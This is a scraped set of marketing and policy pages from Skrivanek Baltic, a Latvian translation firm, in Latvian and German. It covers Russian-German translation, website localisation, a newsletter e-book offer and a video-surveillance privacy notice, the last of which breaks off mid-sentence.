nogurdinošo piedāvājuma gaidīšanu. Mēs sagatavosim Jums cenu piedāvājumu pusstundas laikā. Izpilde tiešsaistē – pasūtiet tulkojumu un saņemiet gatavus dokumentus sava e-pastā, tai skaitā notariāli apliecinātus dokumentus ar kvalificētiem e-parakstiem. Tulkotos dokumentus parastajā (drukātā) veidā varam nosūtīt Jums pa pastu vai ar kurjeru. Ērta vietne klientiem – sekojiet līdzi visiem procesiem un vērojiet Jūsu projekta izpildi. Kvalitātes kontrole – raizējaties par tulkojuma kvalitāti? Neuztraucieties! Mūsu birojs ir sertificēts saskaņā ar ISO 9001 un 17100, kas liecina par mūsu uzticību kvalitātei un precizitāti darbā. TULKOJIET KRIEVU VALODĀ | TULKOŠANAS PAKALPOJUMI KRIEVU VALODĀ Skrivanek piedāvā tekstu profesionālus tulkošanas pakalpojumus krievu valodā un no krievu valodas vācu valodā. Mūsu komandā ir pieredzējuši tulki un tulkotāji, kas strādā ar krievu valodu, specializējas dažādās tulkošanas jomās un tādēļ ir spējīgi nodrošināt gan parastos, gan notariāli apliecinātus tulkojumus. Mūsu tulkošanas pakalpojumi ir pieprasīti visdažādākajās ekonomikas sfērās, tostarp tādās specifiskās nozarēs kā rūpniecība, medicīna, jurisprudence, tehniskā nozare un daudzas citas. Mēs nodrošinām dažādu dokumentu tulkojumus: korporatīvos līgumus, rēķinus, reklāmas saukļus, pārskatus, lietišķo saraksti, aktus, pilnvaras, veidlapas un citus konfidenciālus materiālus. Mūsu tulki un tulkotāji ne tikai nodrošina, lai teksti ir juridiski precīzi, bet arī to efektivitāti un atbilstību mērķauditorijas kultūras īpatnībām. Mēs esam nopelnījuši klientu uzticību, piedāvājot kvalitatīvus un prasībām atbilstošus tulkošanas pakalpojumus. Ar ISO sertifikātiem apstiprināta kvalitātes un konfidencialitātes garantija. Mūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā. 99% klientu saņem cenu piedāvājumu mazāk nekā 15 minūtēs. Vairāk nekā 3000 valodas speciālistu un dzimtās valodas runātāju. Vairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek tulkoti vairāk nekā 16 miljoni vārdu MŪSU KRIEVU-VĀCU, VĀCU-KRIEVU TULKI UN TULKOTĀJI, KĀ ARĪ CITI VALODU SPECIĀLISTI IR JŪSU RĪCĪBĀ! Skrivanek pieredzējušo lingvistu komanda piedāvā augstās kvalitātes pakalpojumus tulkošanas jomā gan uzņēmumiem,gan fiziskām personām. Vajadzīga palīdzība konkrētā projektā? Vērsieties pie mums jau tagad un saņemiet bezmaksas cenu piedāvājumu vai papildinformāciju. Būsim priecīgi sadarboties! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai, lai uzzinātu vairāk par tulkošanas pakalpojumiem jau tagad! TĪMEKĻA VIETNES TULKOJUMS NO KRIEVU VALODAS VĀCU VALODĀ | NO VĀCU VALODAS KRIEVU VALODĀ Pateicoties mūsu veiktajiem tīmekļa vietņu, datu un multimediālo lietotņu tulkošanas lokalizācijas pakalpojumiem, Jūs varēsiet nodibināt kontaktus ar biznesa partneriem jebkur pasaulē, un Jūsu produkti būs pieejami ne tikai Krievijā, bet arī pasaules tirgū. Mūsu tulkotāji var Jums pārtulkot statiskas un dinamiskas tīmekļa vietnes, kas balstītas HTML, SGML, XML, CGI, PHP, ASP vai Flash, nepieciešamības gadījumā pielāgojot to saturu vietējās kultūras īpatnībām un specifikai (ieskaitot, protams, Google meklēšanu un kirilicu): NEIRONU MAŠĪNTULKOŠANA – SKRIVANEK NMT Jums jāiztulko ļoti garš teksts īsā laikā? Trūkst laika īstenot tulkošanas projektu tam atvēlētajā termiņā? Piedāvātais tulkojuma izpildes termiņš ir par ilgu? MUMS IR RISINĀJUMS – SKRIVANEK NMT Skrivanek NMT izstrādē izmantota Skrivanek komandas 25 gadu ilgā pieredze un uzkrātas zināšanas tulkošanas jomā. Neironu mašīntulkotājs darbojas pēc tāda paša principa kā cilvēka smadzeņu neironi. Skrivanek NMT izstrādē darbojās ne tikai Skrivanek lingvisti, bet arī akadēmiskais personāls un dažādu nozaru eksperti. TEHNISKIE TULKOJUMI NO KRIEVU VALODAS VĀCU VALODĀ NO VĀCU VALODAS KRIEVU VALODĀ Tehniskā tulkošana ir specializēta tulkošanas joma, kurai raksturīgas specifiskas īpatnības. Proti, tehniskajai tulkošanai nepieciešami maksimāli precīzs tehnoloģisko risinājumu un procesu apraksts mērķvalodā, specializācijas terminu zināšanas un atbilstošs valodas stils. Tehniskās dokumentācijas tulkošana, tostarp iekārtu ekspluatācijas aprakstu un programmatūras dokumentācijas tulkošana prasa ideālas avotvalodas un mērķvalodas, kā arī profesionālās terminoloģijas zināšanas. Globalizācijas procesu ietekmē visur pasaulē pieaug tehniskās informācijas apmaiņa starp vietējiem un ārvalstu informācijas un tehnoloģiju uzņēmumiem, ražotājiem, zinātņu un inovāciju centriem un projektētājiem, kā arī paplašinās sadarbības iespējas, kā rezultātā tehniskā tulkošana kļūst arvien vairāk pieprasīta valodu pakalpojumu tirgū. Detalizēta informācija par citiem tulkošanas veidiem ir izvietota sadaļās “Tīmekļa vietņu tulkošana un lokalizācija”, “Mutiskā tulkošana”, “Juridiskie tulkojumi”, “Reklāmas un marketinga tulkojumi”, “Dokumentu tulkojumi”, “Dažādu veidu tulkojumi”un “Notariāli apliecināti tulkojumi”. SPECIALIZĒTIE TULKOJUMI Mūsu darbā ļoti svarīgi ir pareizi pielietot nozares terminoloģiju, tāpēc Skrivanek Baltic tulku un tulkotāju vidū ir ne tikai filologi, kas sekmīgi izmanto jaunākās tehnoloģijas, bet arī medicīnas, jurisprudences, inženierzinātņu un daudzu citu jomu speciālisti. Tieši šāda pieeja ļauj mums sasniegt lieliskus rezultātus. NESPECIALIZĒTIE TULKOJUMI Kvalitatīvs tulkojums nav tikai atbilstošu vārdu atlase citā valodā, kvalitatīvs tulkojums ir ideju un domu pārnešana, kas ļauj tulkojuma adresātam to uztvert autentiskā un neizmainītā veidā. Mēs veicam steidzamus dokumentu tulkojumus gadījumos, kad nav nepieciešamas specifiskas nozares zināšanas. VAI IESPĒJAMS PASŪTĪT NOTARIĀLI APLIECINĀTU TULKOJUMU NO VĀCU VALODAS KRIEVU VALODĀ | NO KRIEVU VALODAS VĀCU VALODĀ TIEŠSAISTĒ – NEIERODOTIES BIROJĀ? Notariāli apliecinātu tulkojumu no vācu valodas krievu valodā var veikt tiešsaistē, nosūtot Skrivanek uzņēmumam datni . edoc formātā, (dokumentam jābūt parakstītam ar elektronisko parakstu). Jūssaņemsiet tulkotāja parakstīto un ar zvērināta notāra elektronisko parakstu apliecināto notariāli apliecinātu tulkojumu . edoc formātā. Šis pakalpojums noder dokumentiem, kas izdoti tādās valsts iestādes kā Informācijas centrs, Valsts Ieņēmumu dienests un Uzņēmumu reģistrs. Pieprasiet cenu piedāvājumu: vērsieties Skrivanek, lai saņemtu cenu piedāvājumu nepieciešamo notariāli apliecināto tulkojumu veikšanai. Obligāti pievienojiet nepieciešamo informāciju: dokumenta veidu, vārdu skaitu, izpildes termiņu. Nosūtiet dokumentu: nosūtiet pa e-pastu vai augšupielādējiet dokumentu tīmekļa vietnē. Obligāti saprotami norādiet formatēšanas vai citus īpašus nosacījumus. Pārbaudiet un apstipriniet tulkojumu: kad tulkojums ir pabeigts, mēs nosūtīsim tulkoto dokumentu Jums pārbaudei. Paziņojiet mums, ja ir nepieciešami labojumi vai grozījumi. Saņemiet notariāli apliecināto tulkojumu: pēc pārbaudes un apstiprināšanas mēs nosūtīsim Jums notariāli apliecināto tulkojumu pa e-pastu vai parasto pastu. KĀDOS GADĪJUMOS LABĀK UZTICĒT CILVĒKAM DOKUMENTA TULKOŠANU KRIEVU VALODĀ? Precīzs un rūpīgs tulkojums: profesionāla tulkotāja veikts dokumentu tulkojums krievu valodā nodrošina korektu un vērīgi pārbaudītu rezultātu. Profesionāls lingvists lieliski uztver avotvalodas vārdu pareizo nozīmi, teksta kopējo tonalitāti un kultūras īpatnības. Uzlabota komunikācija: precīzs tulkojums atvieglo saziņu starp visām projektā iesaistītajām personām. Cilvēka veikts tulkojums garantē, ka dokuments ir saprotams visiem, – līdz minimumam tiek samazināts dažādas izlasīšanas iespējas risks, uzlabojas komunikācija kopumā. Gatavība izmaiņām: cilvēka veikto tulkojumu ir viegli labot nepieciešamības gadījumā. Ja Jums ir nepieciešams veikt labojumus, tulkotājs mainīs tekstu, nepieļaujot tā izkropļošanu. Pieredze konkrētās nozarēs: Skrivanek tulkotājiem ir zināšanas daudzās specializētajās nozarēs un viņi pārvalda dažādu jomu tehnisko valodu. Tas nodrošina precizitāti, tulkojot sarežģītus dokumentus. Autentiskums un kultūras atbilstība: cilvēka veikto tulkojumu raksturo autentiskums un nepieciešamo kultūras īpatnību atbilstošs pielietojums. Tulkotāji, kam krievu valoda ir dzimtā valoda, rada kvalitatīvus tulkojumus, piešķirot tekstam vajadzīgo noskaņu un atbilstību kultūras kontekstam. KA SAMAZINĀT IZMAKSAS DOKUMENTA TULKOŠANAI KRIEVU VALODĀ VAI OTRĀDI, NEPAZEMINOT TEKSTA KVALITĀTI? Izvēlieties uzticamu tulkošanas biroju: viens no veidiem, kā samazināt izmaksas dokumenta tulkošanai krievu valodā vai otrādi – izvēlēties uzticamu tulkošanas biroju ar lielu pieredzi. Šādi uzņēmumi piedāvā augstas kvalitātes pakalpojumus par saprātīgām cenām. Vienkāršojiet tulkojamo tekstu: jo vienkāršāks ir avotteksts, jo vieglāk tas tulkojams – samazinās lingvistisko un cita veida pārbaužu nepieciešamība. Turklāt, vienkāršots teksts tulkošanu paātrina un padara to vieglāku un precīzāku, ietaupot ieguldīto laiku un spēkus. Norādiet kontekstu un iesniedziet palīgmateriālus: ja ir palīgmateriāli, piemēram, nozaru terminu vārdnīcas, uzziņas materiāli un zināms konteksts, tad tulkošanas izmaksas var tikt būtiski samazinātas, jo tulkotāji strādās ātrāk un precīzāk. Turklāt konteksts ļauj tulkotājiem saprast nianses un atsevišķu vārdu un frāžu nozīmes. Izvēlieties pareizo datnes formātu: pareizs datnes formāts arī var samazināt tulkošanas izmaksas. Priekšroka dodama teksta datnēm, piemēram, . doc, . txt, un . rtf, jo tās ir vieglāk atvērt, tulkot un pārbaudīt. Skaidrs, lakonisks un viegli salasāms teksts palīdz tulkotājiem strādāt efektīvāk, paātrinot tulkošanas procesu kopumā un samazinot tulkošanas izmaksas. KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Wir bieten optimale Lokalisierungen, um sicherzustellen, dass Ihre Webseite den Bedürfnissen und lokalen Besonderheiten Ihrer Region oder Ihres Marktes entspricht. - Published: 2024-10-25 - Modified: 2025-07-03 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/ - Translation Priorities: Optional Jeder weiß, dass eine Website heutzutage die wichtigste Visitenkarte eines jeden Unternehmens ist - frei zugänglich für bestehende und potenzielle Kunden und Kooperationspartner. Das Interesse und das Vertrauen der Besucher in die Qualität des angebotenen Produkts oder der Dienstleistung wird auch davon abhängen, wie professionell, ansprechend, leicht verständlich und interessant sie ist. Was ist also fundamental, damit Ihre Website immer mehr Neukunden anzieht, nicht nur auf dem heimischen Markt, sondern auch auf den Exportmärkten? Es ist sehr wichtig, dass sie in einer für die Besucher verständlichen Sprache vorliegen. Tatsächlich kommt man heutzutage nicht mehr ohne die Übersetzung und Lokalisierung der Website eines Unternehmens aus. Eine gut durchdachte und geschickt beworbene Website in der digitalen Welt steigert den Umsatz des Unternehmens im In- und Ausland erheblich und hilft, neue Märkte für den Verkauf von Waren und Dienstleistungen zu erobern. Deshalb ist es sehr wichtig, ständig zu analysieren und sich darüber Gedanken zu machen, wie Ihre bestehenden und potenziellen Kunden und Partner Neuigkeiten über Ihr Unternehmen, Ihre Waren, Dienstleistungen, die aktuellsten Angebote, Projekte und Entwicklungspläne erhalten. Natürlich könnte man einfach sagen, dass die Besucher der Website alles selbst übersetzen könnten, indem sie den maschinellen Übersetzer von Google verwenden. Viele Studien über das Verhalten von Internetnutzern bestätigen jedoch genau das Gegenteil: Käufer trauen Websites nicht, die in eine für sie unbekannten Sprache sind, da dies Bedenken hinsichtlich der Zuverlässigkeit des Produkts und der Sicherheit des Kaufs aufkommen lässt. So zeigen beispielsweise Umfragen der Europäischen Kommission, dass 90 % der Internetnutzer es vorziehen, Websites in ihrer Muttersprache oder in einer Sprache, die sie kennen, aufzurufen. Ebenso glauben 44 %, dass sie die wichtigsten Informationen über ein Produkt nicht erhalten, wenn die Website nicht in einer ihnen verständlichen Sprache verfügbar ist. Im „World Wide Web“ sind nur etwa 52 % aller Websites ausschließlich in englischer Sprache verfügbar. Obwohl Englisch eine der meistgesprochenen Sprachen der Welt ist, verlieren viele Unternehmen leider viele Kunden, wenn sie ihre Websites nicht in die gängigsten Sprachen der Region oder sogar der Welt übersetzen und lokalisieren. Schließlich verbringen Menschen wesentlich mehr Zeit mit dem Surfen auf Websites, deren Inhalte in ihrer Muttersprache verfasst und deren Text leicht und schnell verständlich ist. Es gibt jedoch eine Option zur Echtzeit-Übersetzung von Websites, bei der Sie einen maschinellen Übersetzer verwenden können. Die Echtzeit-Übersetzung von Webseiten durch maschinelle Übersetzung ist in der Tat eine bereits etablierte Technologie, die auch vom bekannten Unternehmen Google angeboten wird. Selbst Kinder wissen, dass man mit einem Mausklick den Inhalt einer Website mit Hilfe des maschinellen Übersetzers von Google in jede gewünschte Sprache übersetzen kann. Doch all das sollte einer anderen, grundlegenderen Frage untergeordnet werden: Warum brauchen Sie es und was genau wollen Sie erreichen? In der Praxis haben solche Echtzeit-Übersetzungen von Websites nur geringe oder gar keine Auswirkungen auf die von der Website abgedeckten Sprachen. Die Echtzeit-Übersetzung bedeutet nicht, dass Ihr potenzieller Kunde Ihre Website z. B. in einer Google-Suchmaschine finden könnte, Websites, die so übersetzt werden, enthalten keine feste Übersetzung in die Zielsprache, enthalten keine SEO-Schlüsselwörter und andere von Google-Robotern verwendete Parameter und werden daher nicht indiziert. Sie liegen also leider falsch, wenn Sie annehmen, dass solch eine Echtzeit-Übersetzung die Nutzer Ihrer Webseite vergrößern wird. Vergessen Sie nicht, dass Internetnutzer in der Regel in ihrer Muttersprache nach gewünschten Informationen suchen. Beobachten Sie selbst, wie oft Sie Schlüsselwörter in anderen Sprachen verwenden oder etwas in anderen Suchmaschinen als Google suchen. Alles in allem kann man also sagen, dass wenn wir auf ausländischen Märkten erfolgreich sein wollen, die Präsentation der professionellen Unternehmensaktivitäten in der Zielsprache durch Fachleute von großer Bedeutung ist. WAS IST EINE WEBSITE-LOKALISIERUNG? Die Übersetzung und Lokalisierung von einer Website ist ein kreativer und umfangreicher Prozess, bei dem Texte über ein Produkt oder eine Dienstleistung an den Markt eines bestimmten Landes oder einer bestimmten Region angepasst werden, wobei die sprachlichen und kulturellen Besonderheiten der Zielgruppe berücksichtigt werden. Die Lokalisierung ermöglicht es Ihnen, mit Verbrauchern aus anderen Ländern auf ihre gewohnte Art und Weise in Kontakt zu treten. Professionelle Lokalisierung hilft dabei, kulturelle und andere Brücken zu überwinden, spricht das lokale Publikum erfolgreich an und macht das Produkt, die Dienstleistung oder die Botschaft für den lokalen Markt relevant. Dementsprechend erfordert die Anpassung und Lokalisierung des Inhalts der Website fundierte Kenntnisse auf dem jeweiligen Gebiet und Kenntnisse des kulturellen Umfelds der Nutzer der Zielsprache. Professionelle Übersetzer und Spezialisten für die Lokalisierung von Inhalten helfen in der Regel auch bei der Bewertung und Beratung, inwieweit Ihr vorbereiteter Text dem potenziellen Zielpublikum entspricht - ob er gut genug klingt, die Hauptbotschaft korrekt wiedergibt und klar verständlich ist, keine negativen oder zweideutigen Assoziationen hervorruft. Es gibt fünf Hauptmerkmale, die bei der Lokalisierung einer Website zu berücksichtigen sind: Sprache und Region ─ die Wahl des Vokabulars, der Begriffe und Konzepte wird so angepasst, dass die Produktbotschaft den potenziellen Kunden vor Ort genau und authentisch vermittelt wird; kulturspezifische Aspekte ─ korrekte Aufzeichnung des Datums- und Zeitformats, korrekte Verwendung von Maßeinheiten und Abkürzungen, Achtung von Traditionen, Ferien und Feiertagen, Verwendung der richtigen Hintergrundfarben usw; Elemente zur Bestätigung der Transaktion ─ es wird die Währung des Ziellandes verwendet, die Zahlungsmöglichkeiten sind vor Ort verfügbar, die Eingabe von Adressen entspricht den Gepflogenheiten der Zielregion; Elemente der Kommunikation und des Vertrauens ─ lokale Telefonnummern, Kundenbetreuung in der Muttersprache, Einhaltung spezifischer lokaler gesetzlicher Vorschriften zum Schutz der Verbraucherrechte; Navigation und Auffinden von Informationen ─ es ist unerlässlich, dass die Besucher der Website die gewünschten Informationen schnell und einfach in ihrer eigenen Sprache finden können. Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  Wenn Sie mehr über die Website-Übersetzung und -Lokalisierung erfahren möchten, freuen wir uns auf Ihren Besuch oder kontaktieren Sie bitte das Skrivanek Baltic Lokalisierungsteam. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate --- > Apkopojām 100 latviešu valodas padomus skaistā un praktiskā grāmatā, kuru varat LEJUPIELĀDĒT bez maksas! Noderēs lietišķajā saziņā un sadzīvē - Published: 2024-10-15 - Modified: 2024-10-15 - URL: https://skrivanek.lv/latviesu-valodas-padomu-gramata/ - Translation Priorities: Optional Latviešu valoda ir viens no mūsu identitātes stūrakmeņiem, un latviešu valodas pareiza lietošana ir cieņa pret sevi, savām saknēm un savu tautu. Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, piesakieties Skrivanek Baltic ikmēneša jaunumiem, aizpildot zemāk norādīto pieteikuma formu. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Skrivanek ir valodu uzņēmums ar vairāk nekā 25 gadu pieredzi – profesionāli un kvalitatīvi valodu pakalpojumi uzņēmumiem un privātpersonām. - Published: 2024-08-26 - Modified: 2024-08-28 - URL: https://skrivanek.lv/videonoverosana-skrivanek-baltic-tulkosanas-pakalpojumi/ - Translation Priorities: Optional SIA "Skrivanek Baltic" videonovērošana publiskās vietās sabiedriskās kārtības un nekustamā īpašuma aizsardzības nodrošināšanas mērķim 1. Kāds ir videonovērošanas mērķis (nolūks)? SIA “Skrivanek Baltic” veic videonovērošanu noziedzīgu nodarījumu un pārkāpumu novēršanai un atklāšanai saistībā ar nekustamā īpašuma aizsardzību, sabiedrības, klientu, darbinieku drošības un personām vitāli svarīgu interešu, t. sk. dzīvības un veselības aizsardzībai un sabiedriskās kārtības, biroja darba un pakalpojumu nodrošināšanai. Lēmumu par videonovērošanas iekārtu uzstādīšanu un ierakstu veikšanu SIA “Skrivanek Baltic” ir pieņēmis, izvērtējot, vai ar videonovērošanas palīdzību var sasniegt izvirzīto mērķi. 2. Kur tiek veikta videonovērošana? Videonovērošana tiek veikta pa SIA “Skrivanek Baltic” nekustamā īpašuma – biroja ēkas Lāčplēša ielā 87C, Rīgā ārējo perimetru, tostarp stāvlaukumā, kā arī Lāčplēša ielas brauktuves daļā. Iekštelpās videonovērošana tiek veikta Klientu apkalpošanas centra pirmā stāva publiskajā zonā, kas iekļauj atsevišķu darbinieku darbavietu, ieeju un uzgaidāmo zonu. 3. Svarīga informācija 3. 1. Pārzinis – SIA “Skrivanek Baltic”, reģ. nr. : 40003626172, juridiskā adrese: Lāčplēša ielā 87C, Rīgā, LV-1011, tālr. +371 67240364, e-pasts: birojs@skrivanek. lv. 3. 2. Datu aizsardzības speciālista kontaktinformācija: Uldis Krūmiņš, tālr. : +371 67240364, e-pasts: dpo@skrivanek. lv. 3. 3. Videonovērošanas tiesiskais pamats – Eiropas Parlamenta un Padomes Regulas (ES) 2016/679 (2016. gada 27. aprīlis) par fizisku personu aizsardzību attiecībā uz personas datu apstrādi un šādu datu brīvu apriti un ar ko atceļ Direktīvu 95/46/EK (Vispārīgā datu aizsardzības regula) 6. panta pirmās daļas c. , e un f. apakšpunkts. Būtisku sabiedrības interešu ievērošana un aizsardzība. 3. 4. Leģitīmās intereses – noziedzīgu nodarījumu novēršana, sabiedriskās kārtības nodrošināšana. 3. 5. Personas datu saņēmēji – pārzinis un tā pilnvarotie darbinieki, datu subjekts, nepieciešamības gadījumā – valsts tiesībsargājošās institūcijas (Valsts policija, izmeklēšanas iestādes, tiesas u. tml. ). 3. 6. Personas datus nav paredzēts nosūtīt uz trešo valsti, kura nav ES vai EEZ dalībvalsts vai starptautiskai organizācijai. 4. Kad un cik ilgi tiek glabāti videonovērošanā fiksētie dati? Videoierakstu glabāšanas termiņš ir viens (1) mēnesis. Videonovērošanā iegūtos datus, kuros konstatēts sabiedriskās kārtības apdraudējums, noziedzīgs nodarījums, meklēšanā esoša persona vai transportlīdzeklis, glabā līdz kriminālprocesa, administratīvo pārkāpumu procesa, administratīvā procesa vai resoriskās pārbaudes pabeigšanai policijas iestādē, bet ne ilgāk kā trīs (3) gadus. 5. Datu drošība Videonovērošanas ierakstā iegūtie dati tiek glabāti tā, lai tiem nepiekļūtu trešās personas. Videonovērošanas ierakstiem netiek veidotas rezerves kopijas, un dati netiek nodoti trešajām personām, izņemot ārējos normatīvajos aktos noteiktajos gadījumos (piemēram, ja informāciju nepieciešams nodot tiesībsargājošām institūcijām). Gadījumos, kad nepieciešama videonovērošanā fiksēto personas datu apskate un datu likumīga izpaušana citām personām, SIA “Skrivanek Baltic” tiek fiksēti dati par to, kam (identificējot personu), kad, kādam mērķim un kādi dati ir izpausti. 6. Datu subjektam ir tiesības: 6. 1. iegūt informāciju, kas par viņu ir savākta 1. punktā noteiktajam personas datu apstrādes mērķim; 6. 2. iegūt informāciju par tām fiziskajām vai juridiskajām personām, kuras noteiktā laikposmā no pārziņa ir saņēmušas informāciju par šo datu subjektu. Datu subjektam sniedzamajā informācijā aizliegts iekļaut valsts institūcijas, kuras ir kriminālprocesa virzītāji, operatīvās darbības subjekti vai citas institūcijas, par kurām likums aizliedz šādas ziņas izpaust; 6. 3. ja datu subjekts pieprasa informāciju attiecībā uz videonovērošanu, datu subjektam ir pienākums pēc pārziņa attiecīga pieprasījuma sniegt informāciju, kas nepieciešama datu subjekta un pieprasīto personas datu identificēšanai; 6. 4. mēneša laikā no attiecīga pieprasījuma iesniegšanas dienas bez maksas saņemt šajā punktā minēto informāciju vai pamatotu rakstveida atteikumu pilnībā vai daļēji sniegt šajā pantā minēto informāciju. Informācijas izsniegšanu var atteikt, ja datu subjekts atsakās veikt 6. 3. apakšpunktā noteikto pienākumu; 6. 5. pieprasīt datu labošanu vai dzēšanu, vai apstrādes ierobežošanu attiecībā uz datu subjektu. 7. Pārziņa kontaktpersona personas datu aizsardzības jautājumos – datu aizsardzības speciālists Uldis Krūmiņš, tālr. : +371 67240364, e-pasts: dpo@skrivanek. lv. 8. Par veikto personas datu apstrādi datu subjekts var iesniegt sūdzību Valsts datu inspekcijā (Blaumaņa iela 11/13-15, Rīga, LV-1011). --- > Skrivanek is a language company with 25+ years of experience – professional and high quality language services for companies and individuals. - Published: 2024-08-26 - Modified: 2024-08-28 - URL: https://skrivanek.lv/videonoverosana-skrivanek-baltic-tulkosanas-pakalpojumi/ - Translation Priorities: Optional Video surveillance of public places by SIA Skrivanek Baltic for 